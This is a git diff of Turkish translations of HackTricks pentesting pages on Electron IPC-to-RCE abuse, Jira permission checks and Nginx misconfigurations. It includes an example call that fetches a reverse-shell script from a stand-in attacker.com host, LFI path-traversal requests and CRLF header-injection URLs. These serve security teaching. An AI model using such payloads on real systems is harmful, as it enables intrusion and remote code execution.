@@ -2,13 +2,13 @@
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
+AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
@@ -22,12 +22,12 @@ Eğer preload betiği main.js dosyasından bir IPC uç noktasını açıklarsa,
[https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) adresinden örnek (MS Teams'in XSS'ten RCE'ye nasıl kötüye kullanıldığının tam örneğini bu slaytlarda bulabilirsiniz, bu sadece çok temel bir örnektir):
-
+
## Örnek 1
-`main.js`'in `getUpdate` üzerinde nasıl dinlediğini kontrol edin ve **geçilen herhangi bir URL'yi indirip çalıştıracaktır**.\
-Ayrıca `preload.js`'in main'den herhangi bir IPC olayını **açığa çıkardığını** kontrol edin.
+`main.js`'in `getUpdate` üzerinde nasıl dinlediğine ve **geçilen herhangi bir URL'yi indireceğine ve çalıştıracağına** bakın.\
+Ayrıca `preload.js`'in main'den herhangi bir IPC olayını **açığa çıkardığına** bakın.
```javascript
// Part of code of main.js
ipcMain.on('getUpdate', (event, url) => {
@@ -85,7 +85,7 @@ electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
```
## Örnek 2
-Eğer ön yükleme betiği doğrudan `shell.openExternal`'ı çağırmak için bir yol sunarsa, Uzaktan Kod Çalıştırma (RCE) elde etmek mümkündür.
+Eğer ön yükleme betiği doğrudan `shell.openExternal` çağrısını yapmak için bir yol sunarsa, Uzaktan Kod Çalıştırma (RCE) elde etmek mümkündür.
```javascript
// Part of preload.js code
window.electronOpenInBrowser = (url) => {
@@ -104,9 +104,9 @@ window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};
```
-
+
-<özet>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!özet>
+AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
@@ -114,6 +114,6 @@ HackTricks'ı desteklemenin diğer yolları:
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
-* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
diff --git a/network-services-pentesting/pentesting-web/jira.md b/network-services-pentesting/pentesting-web/jira.md
index 01c679e77..0aecf4203 100644
--- a/network-services-pentesting/pentesting-web/jira.md
+++ b/network-services-pentesting/pentesting-web/jira.md
@@ -6,25 +6,25 @@
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
+* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
-* **Hacking püf noktalarınızı göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
+* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
-
+
-Eğer **hackleme kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve konuşma gereklidir_).
+Eğer **hackleme kariyeri** ilginizi çekiyorsa ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
### Yetkileri Kontrol Et
-Jira'da, **yetkiler**, herhangi bir kullanıcı tarafından, kimlik doğrulanmış veya doğrulanmamış olsa da, `/rest/api/2/mypermissions` veya `/rest/api/3/mypermissions` uç noktaları aracılığıyla kontrol edilebilir. Bu uç noktaları, kullanıcının mevcut yetkilerini ortaya çıkarır. **Doğrulanmamış kullanıcıların yetkilere sahip olması**, potansiyel olarak bir **güvenlik açığı** işareti olan bir durumu ortaya çıkarır ve **ödül** için uygun olabilir. Benzer şekilde, **doğrulanmış kullanıcılar için beklenmeyen yetkiler**, bir **güvenlik açığı**nı vurgular.
+Jira'da, **yetkiler**, herhangi bir kullanıcı tarafından, kimlik doğrulanmış veya doğrulanmamış olsa da, `/rest/api/2/mypermissions` veya `/rest/api/3/mypermissions` uç noktaları aracılığıyla kontrol edilebilir. Bu uç noktaları, kullanıcının mevcut yetkilerini ortaya çıkarır. **Doğrulanmamış kullanıcıların yetkilere sahip olması**, potansiyel olarak bir **güvenlik açığı** işareti olan bir durumu ortaya çıkarır ve potansiyel olarak bir **ödül** için uygun olabilir. Benzer şekilde, **doğrulanmış kullanıcılar için beklenmeyen yetkiler**, bir **güvenlik açığı**nı vurgular.
-Önemli bir **güncelleme**, **1 Şubat 2019** tarihinde yapıldı ve 'mypermissions' uç noktasının bir **'izin' parametresi** içermesini gerektirdi. Bu gereklilik, sorgulanan yetkileri belirterek güvenliği **geliştirmeyi amaçlar**: [buradan kontrol edin](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
+Önemli bir **güncelleme**, **1 Şubat 2019** tarihinde yapıldı ve 'mypermissions' uç noktasının bir **'izin' parametresi** içermesini gerektiriyor. Bu gereklilik, sorgulanan yetkileri belirterek güvenliği **geliştirmeyi amaçlar**: [buradan kontrol edin](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
* ADD\_COMMENTS
* ADMINISTER
@@ -78,7 +78,7 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
-
+
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_).
@@ -86,14 +86,14 @@ Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek
-Sıfırdan kahraman olana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
+Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
+* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/network-services-pentesting/pentesting-web/nginx.md b/network-services-pentesting/pentesting-web/nginx.md
index 20c0b083a..d71f9bc43 100644
--- a/network-services-pentesting/pentesting-web/nginx.md
+++ b/network-services-pentesting/pentesting-web/nginx.md
@@ -2,19 +2,19 @@
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
+AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
-HackTricks'i desteklemenin diğer yolları:
+HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **💬 [Discord grubumuza](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubumuza](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
-* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) **ve** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarına katkıda bulunun.**
+* 💬 **Discord grubuna** katılın](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u takip edin.
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
**Hemen kullanıma hazır zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar.
@@ -24,7 +24,7 @@ HackTricks'i desteklemenin diğer yolları:
## **Nginx Kök Dizini Yapılandırmanın Temelleri**
-Nginx sunucusunu yapılandırırken, **root direktifi** dosyaların sunulduğu temel dizini tanımlayarak kritik bir rol oynar. Aşağıdaki örneği düşünün:
+Nginx sunucusunu yapılandırırken, **root direktifi** dosyaların sunulduğu temel dizini tanımlayarak kritik bir rol oynar. Aşağıdaki örneği göz önünde bulundurun:
```bash
server {
root /etc/nginx;
@@ -35,19 +35,19 @@ proxy_pass http://127.0.0.1:8080/;
}
}
```
-Bu yapılandırmada, `/etc/nginx` kök dizini olarak belirlenmiştir. Bu kurulum, `/hello.txt` gibi belirtilen kök dizini içindeki dosyalara erişime izin verir. Ancak, yalnızca belirli bir konum (`/hello.txt`) tanımlanmıştır. Kök konumu (`location / {...}`) için herhangi bir yapılandırma bulunmamaktadır. Bu ihmal, kök yönergesinin genel olarak uygulanmasını sağlar ve `/etc/nginx` altındaki dosyalara erişim sağlar.
+Bu yapılandırmada, `/etc/nginx` kök dizini olarak belirlenmiştir. Bu kurulum, `/hello.txt` gibi belirtilen kök dizinindeki dosyalara erişime izin verir. Ancak, yalnızca belirli bir konum (`/hello.txt`) tanımlanmıştır. Kök konum için (`location / {...}`) herhangi bir yapılandırma bulunmamaktadır. Bu ihmal, kök yönergesinin genel olarak uygulanmasını sağlar ve `/etc/nginx` altındaki dosyalara erişim sağlar.
-Bu yapılandırmadan kaynaklanan önemli bir güvenlik endişesi ortaya çıkar. Basit bir `GET` isteği, örneğin `GET /nginx.conf`, `/etc/nginx/nginx.conf` konumundaki Nginx yapılandırma dosyasını sunarak hassas bilgilerin ifşa edilmesine neden olabilir. Kökü daha az hassas bir dizine, örneğin `/etc` olarak ayarlamak, bu riski azaltabilir, ancak yine de diğer hassas dosyalara, diğer yapılandırma dosyalarına, erişim günlüklerine ve hatta HTTP temel kimlik doğrulaması için kullanılan şifrelenmiş kimlik bilgilerine istenmeyen erişime izin verebilir.
+Bu yapılandırmadan kaynaklanan kritik bir güvenlik düşüncesi ortaya çıkar. Basit bir `GET` isteği, örneğin `GET /nginx.conf`, `/etc/nginx/nginx.conf` konumundaki Nginx yapılandırma dosyasını sunarak hassas bilgilerin ifşa edilmesine neden olabilir. Kökü daha az hassas bir dizine, örneğin `/etc` olarak ayarlamak, bu riski azaltabilir, ancak yine de diğer hassas dosyalara, diğer yapılandırma dosyalarına, erişim günlüklerine ve hatta HTTP temel kimlik doğrulaması için kullanılan şifrelenmiş kimlik bilgilerine istenmeyen erişime izin verebilir.
-## Alias LFI Yanlış Yapılandırması
+## Alias LFI Yan Yapılandırması
-Nginx'in yapılandırma dosyalarında, "location" yönergeleri için dikkatli bir inceleme gereklidir. Local File Inclusion (LFI) olarak bilinen bir zayıflık, aşağıdakine benzer bir yapılandırma aracılığıyla yanlışlıkla tanıtılabilir:
+Nginx'in yapılandırma dosyalarında, "location" yönergeleri için dikkatli bir inceleme gereklidir. Bir Local File Inclusion (LFI) olarak bilinen bir zafiyet, aşağıdakine benzer bir yapılandırma ile yanlışlıkla tanıtılabilir:
```
location /imgs {
alias /path/images/;
}
```
-Bu yapılandırma, sunucunun `/imgs../flag.txt` gibi istekleri yorumlayarak, dosyaların amaçlanan dizinin dışındaki dosyalara erişme girişimi olarak algılanmasına neden olabilecek LFI saldırılarına duyarlıdır, etkili bir şekilde `/path/images/../flag.txt`'ye çözülür. Bu zayıflık, saldırganların sunucunun dosya sisteminden web aracılığıyla erişilememesi gereken dosyaları almasına olanak tanır.
+Bu yapılandırma, sunucunun `/imgs../flag.txt` gibi istekleri yorumlayarak, dosyaların amaçlanan dizinin dışındaki dosyalara erişme girişimi olarak algılanmasına neden olabilecek LFI saldırılarına duyarlıdır ve etkili bir şekilde `/path/images/../flag.txt`'ye çözülür. Bu zayıflık, saldırganların sunucunun dosya sisteminden web aracılığıyla erişilememesi gereken dosyaları almasına olanak tanır.
Bu zafiyeti hafifletmek için yapılandırma şu şekilde ayarlanmalıdır:
```
@@ -82,13 +82,13 @@ deny all;
{% hint style="danger" %}
`$uri` ve `$document_uri` gibi güvenlik açıklı değişkenler bulunmaktadır ve bunlar `$request_uri` ile değiştirilerek düzeltilebilir.
-Ayrıca regex de şu şekilde güvenlik açıklarına neden olabilir:
+Ayrıca regex de şu şekilde güvenlik açıklı olabilir:
-`location ~ /docs/([^/])? { … $1 … }` - Güvenlik açığı bulunmaktadır
+`location ~ /docs/([^/])? { … $1 … }` - Güvenlik açıklı
-`location ~ /docs/([^/\s])? { … $1 … }` - Güvenlik açığı bulunmamaktadır (boşlukları kontrol eder)
+`location ~ /docs/([^/\s])? { … $1 … }` - Güvenlik açıklı değil (boşlukları kontrol eder)
-`location ~ /docs/(.*)? { … $1 … }` - Güvenlik açığı bulunmamaktadır
+`location ~ /docs/(.*)? { … $1 … }` - Güvenlik açıklı değil
{% endhint %}
Nginx yapılandırmasındaki bir güvenlik açığı aşağıdaki örnekle gösterilmektedir:
@@ -97,7 +97,7 @@ location / {
return 302 https://example.com$uri;
}
```
-HTTP isteklerinde \r (Taşıma İşareti) ve \n (Satır Beslemesi) karakterleri yeni satır karakterlerini belirtir ve URL kodlanmış formları `%0d%0a` olarak temsil edilir. Bu karakterleri bir istekte (örneğin, `http://localhost/%0d%0aDetectify:%20clrf`) içerdiğinde, yanlış yapılandırılmış bir sunucuya yeni bir başlık olan `Detectify` çıkarılmasına neden olur. Bu durum, $uri değişkeninin URL kodlanmış yeni satır karakterlerini çözmesi sonucunda yanıtta beklenmeyen bir başlık oluşmasına sebep olur:
+HTTP isteklerinde \r (Taşıma İşareti) ve \n (Satır Beslemesi) karakterleri yeni satır karakterlerini belirtir ve URL kodlanmış formları `%0d%0a` olarak temsil edilir. Bu karakterleri bir istekte (örneğin, `http://localhost/%0d%0aDetectify:%20clrf`) içerdiğinde yanlış yapılandırılmış bir sunucunun yeni bir başlık olan `Detectify` çıkarması sonucu oluşur. Bu durum, $uri değişkeninin URL kodlanmış yeni satır karakterlerini çözmesi nedeniyle yanıtta beklenmeyen bir başlık oluşturur:
```
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
@@ -107,23 +107,23 @@ Connection: keep-alive
Location: https://example.com/
Detectify: clrf
```
-Risks of CRLF injection and response splitting at [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/)'da daha fazla bilgi edinin.
+Risks of CRLF injection and response splitting için [buraya](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/) bakabilirsiniz.
-Bu teknik ayrıca [**bu sunumda**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) bazı zayıf örnekler ve tespit mekanizmaları ile açıklanmıştır. Örneğin, Bu yanlış yapılandırmayı siyah kutu bakış açısından tespit etmek için şu istekleri yapabilirsiniz:
+Bu teknik [**bu sunumda**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) bazı zayıf örnekler ve tespit mekanizmaları ile açıklanmıştır. Örneğin, Bu yanlış yapılandırmayı siyah kutu bakış açısından tespit etmek için şu istekleri yapabilirsiniz:
* `https://example.com/%20X` - Herhangi bir HTTP kodu
* `https://example.com/%20H` - 400 Bad Request
-Eğer zayıfsa, ilk istek "X" herhangi bir HTTP yöntemi olduğu için geri dönecek ve ikincisi H geçerli bir yöntem olmadığı için hata dönecektir. Bu nedenle sunucu şuna benzer bir şey alacak: `GET / H HTTP/1.1` ve bu hata tetikleyecektir.
+Eğer zayıfsa, ilk istek "X" herhangi bir HTTP yöntemi olarak dönecek ve ikinci istek H geçerli bir yöntem olmadığı için bir hata dönecektir. Bu nedenle sunucu şuna benzer bir şey alacak: `GET / H HTTP/1.1` ve bu hata oluşturacaktır.
-Başka tespit örnekleri şunlar olabilir:
+Diğer tespit örnekleri şunlar olabilir:
* `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - Herhangi bir HTTP kodu
* `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 Bad Request
-O sunumda bulunan bazı zayıf yapılandırmalar şunlardı:
+Bu sunumda bulunan bazı zayıf yapılandırmalar şunlardır:
-* **`$uri`**'nin nihai URL'de olduğu gibi ayarlandığına dikkat edin.
+* **`$uri`**'nin URL'de olduğu gibi ayarlandığına dikkat edin.
```
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
@@ -143,17 +143,17 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri;
```
### Herhangi bir değişken
-Belirli koşullar altında, **kullanıcı tarafından sağlanan verilerin** belirli durumlarda bir **Nginx değişkeni** olarak işleme tabi tutulabileceği keşfedildi. Bu davranışın nedeni oldukça belirsiz olsa da, nadir değil ve doğrulaması da kolay değil. Bu anormallik, HackerOne'da bir güvenlik raporunda vurgulandı ve [buradan](https://hackerone.com/reports/370094) görülebilir. Hata mesajına yönelik daha fazla inceleme, bu durumun [Nginx'in kod tabanındaki SSI filtre modülünde](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx\_http\_ssi\_filter\_module.c#L365) meydana geldiğinin tespit edilmesine yol açtı, Server Side Includes (SSI) kök neden olarak belirlendi.
+Belirli durumlarda, **kullanıcı tarafından sağlanan verilerin** belirli koşullar altında bir **Nginx değişkeni** olarak işleme tabi tutulabileceği keşfedildi. Bu davranışın nedeni oldukça belirsiz olsa da, nadir değil ve doğrulaması da kolay değil. Bu anormallik, HackerOne'da bir güvenlik raporunda vurgulandı ve [buradan](https://hackerone.com/reports/370094) görülebilir. Hata mesajına yönelik daha fazla inceleme, bunun Nginx'in kod tabanındaki [SSI filtre modülünde](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx\_http\_ssi\_filter\_module.c#L365) meydana geldiğinin belirlenmesine yol açtı, Server Side Includes (SSI)nin temel nedeni olarak belirlendi.
-Bu yan yapılandırmayı **tespit etmek** için, aşağıdaki komut çalıştırılabilir, bu komut değişken yazdırma testi için bir referer başlığı ayarlamayı içerir:
+Bu yanlış yapılandırmayı **tespit etmek** için aşağıdaki komut çalıştırılabilir, bu komut, bir referer başlığını ayarlayarak değişken yazdırma testi yapmayı içerir:
```bash
$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
```
-Sistemler üzerinde yapılan bu yan yapılandırma taramaları, bir kullanıcı tarafından Nginx değişkenlerinin yazdırılabileceği birden fazla örneği ortaya çıkardı. Ancak, savunmasız örneklerin sayısında yaşanan azalma, bu sorunu düzeltme çabalarının bir dereceye kadar başarılı olduğunu göstermektedir.
+Sistemler üzerinde yapılan taramalar, bir kullanıcı tarafından Nginx değişkenlerinin yazdırılabileceği birden fazla örneği ortaya çıkardı. Ancak, savunmasız örneklerin sayısındaki azalma, bu sorunu düzeltme çabalarının bir dereceye kadar başarılı olduğunu göstermektedir.
-## Ham arka uç yanıt okuma
+## Ham arka uç yanıtı okuma
-Nginx, `proxy_pass` aracılığıyla bir özelliği sunar ve bu özellik, arka uç tarafından üretilen hataları ve HTTP başlıklarını yakalamayı amaçlar ve iç hata mesajlarını ve başlıklarını gizlemeyi hedefler. Bu, Nginx'in, arka uç hatalarına yanıt olarak özel hata sayfaları sunarak başarılı bir şekilde gerçekleştirilir. Ancak, Nginx'in geçersiz bir HTTP isteğiyle karşılaştığında zorluklar ortaya çıkar. Böyle bir istek, alındığı gibi arka uca iletilir ve ardından arka uçun ham yanıtı doğrudan Nginx'in müdahalesi olmadan istemciye gönderilir.
+Nginx, `proxy_pass` aracılığıyla sunucu hatalarını ve HTTP başlıklarını yakalamayı sağlayan bir özellik sunar, bu da iç hata mesajlarını ve başlıklarını gizlemeyi amaçlar. Bu, Nginx'in, arka uç hatalarına yanıt olarak özel hata sayfaları sunarak başarılı bir şekilde gerçekleştirilir. Ancak, Nginx'in geçersiz bir HTTP isteğiyle karşılaştığında zorluklar ortaya çıkar. Böyle bir istek, alındığı gibi arka uca iletilir ve ardından arka uçun ham yanıtı doğrudan Nginx'in müdahalesi olmadan istemciye gönderilir.
Bir uWSGI uygulamasını içeren bir örnek senaryoyu düşünün:
```python
@@ -161,7 +161,7 @@ def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]
```
-Nginx yapılandırmasında belirli direktifler kullanılarak bunu yönetmek mümkündür:
+Bu yönetmek için, Nginx yapılandırmasında belirli direktifler kullanılır:
```
http {
error_page 500 /html/error.html;
@@ -169,16 +169,16 @@ proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
```
-* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Bu yönerge, Nginx'in durum kodu 300'den büyük olan arka uç yanıtları için özel bir yanıt sunmasını sağlar. Örneğin uWSGI uygulamamız için, `500 Hata` yanıtının Nginx tarafından engellenip işlenmesini sağlar.
+* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Bu yönerge, Nginx'in durum kodu 300'den büyük olan arka uç yanıtları için özel bir yanıt sunmasını sağlar. Örneğimizde uWSGI uygulaması için, bir `500 Hata` yanıtının Nginx tarafından engellenip işlenmesini sağlar.
* [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): Adından da anlaşılacağı gibi, bu yönerge belirli HTTP başlıklarını istemciden gizler, gizliliği ve güvenliği artırır.
-Geçerli bir `GET` isteği yapıldığında, Nginx bunu normal şekilde işler, hiçbir gizli başlığı ortaya çıkarmadan standart bir hata yanıtı döndürür. Ancak geçersiz bir HTTP isteği bu mekanizmayı atlar ve gizli başlıkları ve hata mesajlarını da içeren ham arka uç yanıtlarının ortaya çıkmasına neden olur.
+Geçerli bir `GET` isteği yapıldığında, Nginx bunu normal şekilde işler, herhangi gizli başlıkları açığa çıkarmadan standart bir hata yanıtı döndürür. Ancak geçersiz bir HTTP isteği, bu mekanizmayı atlar ve ham arka uç yanıtlarını, gizli başlıkları ve hata mesajlarını da içerecek şekilde ortaya çıkarır.
## merge\_slashes off olarak ayarlandı
-Varsayılan olarak, Nginx'in **`merge_slashes` yönergesi** **`on`** olarak ayarlanmıştır, bu da bir URL'deki birden fazla ileri eğik çizgiyi tek bir eğik çizgiye sıkıştırır. Bu özellik, URL işleme sürecini basitleştirirken, Nginx'in arkasındaki uygulamalardaki zafiyetleri yanlışlıkla gizleyebilir, özellikle yerel dosya dahil etme (LFI) saldırılarına duyarlı olanlar. Güvenlik uzmanları **Danny Robinson ve Rotem Bar**, özellikle Nginx'in ters proxy olarak hareket ettiğinde bu varsayılan davranışla ilişkilendirilen potansiyel riskleri vurgulamışlardır.
+Varsayılan olarak, Nginx'in **`merge_slashes` yönergesi** **`on`** olarak ayarlanmıştır, bu da bir URL'deki birden fazla ileri eğik çizgiyi tek bir çizgiye sıkıştırır. Bu özellik, URL işleme sürecini basitleştirirken, Nginx'in arkasındaki uygulamalardaki zafiyetleri yanlışlıkla gizleyebilir, özellikle de yerel dosya dahil etme (LFI) saldırılarına duyarlı olanlar. Güvenlik uzmanları **Danny Robinson ve Rotem Bar**, özellikle Nginx'in ters proxy olarak hareket ettiğinde, bu varsayılan davranışla ilişkili potansiyel riskleri vurgulamışlardır.
-Bu tür riskleri azaltmak için, bu zafiyetlere duyarlı uygulamalar için **`merge_slashes` yönergesini kapatmanız** önerilir. Bu, Nginx'in URL yapısını değiştirmeden istekleri uygulamaya ilettiğinden, altta yatan güvenlik sorunlarını gizlemediğinden emin olur.
+Bu tür riskleri azaltmak için, bu zafiyetlere duyarlı uygulamalar için **`merge_slashes` yönergesini kapatmanız** önerilir. Bu, Nginx'in URL yapısını değiştirmeden istekleri uygulamaya ilettiğinden, altta yatan güvenlik sorunlarını gizlemez.
Daha fazla bilgi için [Danny Robinson ve Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).
@@ -203,27 +203,27 @@ return 200 "Hello. It is private area: $mappocallow";
}
}
```
-`default` olmadan, bir **kötü niyetli kullanıcı**, `/map-poc` içindeki **tanımsız URI'ye** erişerek güvenlik önlemlerini atlayabilir. [Nginx kılavuzu](https://nginx.org/en/docs/http/ngx_http_map_module.html), bu tür sorunları önlemek için bir **varsayılan değer** belirlemenizi önerir.
